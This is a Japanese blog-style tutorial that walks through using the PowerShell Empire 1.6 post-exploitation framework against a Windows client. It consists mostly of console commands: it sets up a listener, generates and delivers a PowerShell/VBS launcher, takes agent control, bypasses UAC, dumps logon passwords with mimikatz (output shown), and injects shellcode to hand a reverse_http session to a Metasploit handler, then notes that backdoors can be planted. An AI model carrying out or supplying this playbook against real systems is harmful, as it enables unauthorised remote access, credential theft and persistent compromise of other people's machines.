(スクリーンショットは、時間があるときに貼り付けます。希望の方は、コメントを入れていただければ急ぎます。))
最新バージョンは2.6です。2.0からコマンド体系が変更されたようなのですが、
今回はバージョン1.6を以下のリンクからダウンロードして利用しました。
Wget https://github.com/EmpireProject/Empire/archive/1.6.zip
Unzip 1.6.zip
展開したディレクトリのsetupにあるinstall.shを実行してインストールします。
1.
展開したディレクトリにempire実行ファイルがあるのでそれを起動します。
./empire
起動画面
2.
大きな流れは以下の通り。
1.Listener
2.launcher
3.launcherPhishing
4.agentinteractive
5.Interactive
A)
B)Metasploit
まず以下のコマンドでリスナーモードに切り替えます。
> listeners
Infoコマンドで必要なオプションを確認し、待ち受けるための設定を完了します。
以下のコマンドでListenerを起動します。
> execute
Listenerの情報を確認する。
> list
-
Launcherの作成
このLauncherを攻撃対象のクライアント上で実行させることで、リモートアクセスを奪うことが可能になります。Empire, マクロ、バッチファイルなど複数種類のlauncherを作成することが可能です。
> usestager <tab>で選択できるオプションの一覧を確認することができます。
Usestager launcher_vbs
Set Listener test
Generate でlauncherを作成します。
SimpleHTTPServerを利用してターゲットにデリバーします。
python-m SimpleHTTPServer 80
本書では動作を説明するため攻撃対象にLauncherを隠ぺいして実行させる手法については割愛し、単にPowerShellを書き出し対象クライアントで実行します。
> launcher test(testはリスナーの名前)
でPowerShellのコードを生成。これを攻撃対象のクライアント上のコマンドプロンプトで実行します。
続けて、Empireのコンソール側で以下のように接続が始まった旨が表示されます。
-
接続してきたagentにinteractiveする。
以下のコマンドで、リスナーに接続されているagent(端末)を確認します。
> agents
以下のコマンドで攻撃対象のagentに対話接続します。
> interact <Agentname>
この段階で、攻撃対象のクライアントに対するリモートアクセスを奪うことに成功しました。
まずはinfoコマンドで攻撃対象の情報を確認します。
> info
内部のIPアドレス、ホスト名、OSバージョン、ログオンしているユーザー名を確認することができます。
次に、mimikatzモジュールを使ってパスワードを奪取します。
Mimikatzモジュールによる攻撃ではUACをbypassする必要があるので以下のモジュールでエージェントを追加します。
> usemodule privesc/bypassuac
> info
ここではリスナーの指定がTrueとなっていて必須項目なので、適宜リスナーを指定して実行します。
> set Listener test
> execute
[>] Module is not opsec safe, run? [y/N] y
Jobが始まり、1分程度実行した後で、新たなagentが追加されます。
Agentsコマンドで接続されているエージェントを確認すると、上記のコマンドで追加されたエージェントが表示され、Usernameに「*」が付加されていることが確認できます。
新しいエージェントにinteractします。
> interact <新agent名>
> info
IPアドレス、ホスト名などから同じ端末であること、一番下の項目「high_integrity」が0から1に変更されていることを確認します。
この状態でmimikazのモジュールを実行します。
> usemodule credentials/mimikatz/logonpasswords
> execute
Jobが始まり、1分程度でパスワードを奪取することができます。
見事に取れましたw
Username : Victim
Password : password
さらにMetasploitと連携してリモートアクセスを奪取しましょう。
攻撃対象のagentが接続している状態で以下を実行します。
次にmeterpreterとの接続に使用するリスナーを実行する。
> set Name meterpreter
> set Port 8888
> set Type meter
> execute
Listerモードで、listコマンドを実行し、Active listenerにmeterpreterが追加されていることを確認します。
次にEmpireから攻撃対象のエージェントにinteractしmeterpreterをinjectionする準備を施します。
> interact <対象のagent名>
shellcodeをinjectしmeterpreterにリバース接続するように指定する。
> injectshellcode meterpreter
> info
設定情報を確認するとリバース接続用のIPアドレス、ポート番号、Payloadを設定する。 > set Lhost 192.168.1.100 (MetepreterのリスナーのIPアドレス)
> set Lport 8888 (MetepreterのリスナーのIPアドレス)
> set Payload reverse_http
既存のinteractive接続に対してペイロードを実行したらMetasploit側にペイロードを送り、「meterpreterリスナー」で待ち受けたポートで受け取るという手筈になっている
次にMetasploit側を設定します。
Msfconsoleを実行し、Metasploitを起動し、以下のコマンドを実行します。
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf exploit(handler) > set LHOST 192.168.1.100
msf exploit(handler) > set LPORT 8888
msf exploit(handler) > set exitonsession false
Meterpreter側で待ち受けてリバース接続させ、接続先はEmpireで用意した「meterpreterリスナー」を指定します。
msf exploit(handler) > exploit -j
次にEmpireで実行
> execute
Empire側でJobが走りmeterpreter側でsessionが確立する。
これ以降、MetasploitのMeterpreterで攻撃対象のクライアントをリモート操作することが可能となります。
バックドアを仕掛けたり、Metasploitにしか出回っていないようなコードを実行するために、上記の手順でEmpireのSessionをMeterpreterへ引き継ぐことが可能です。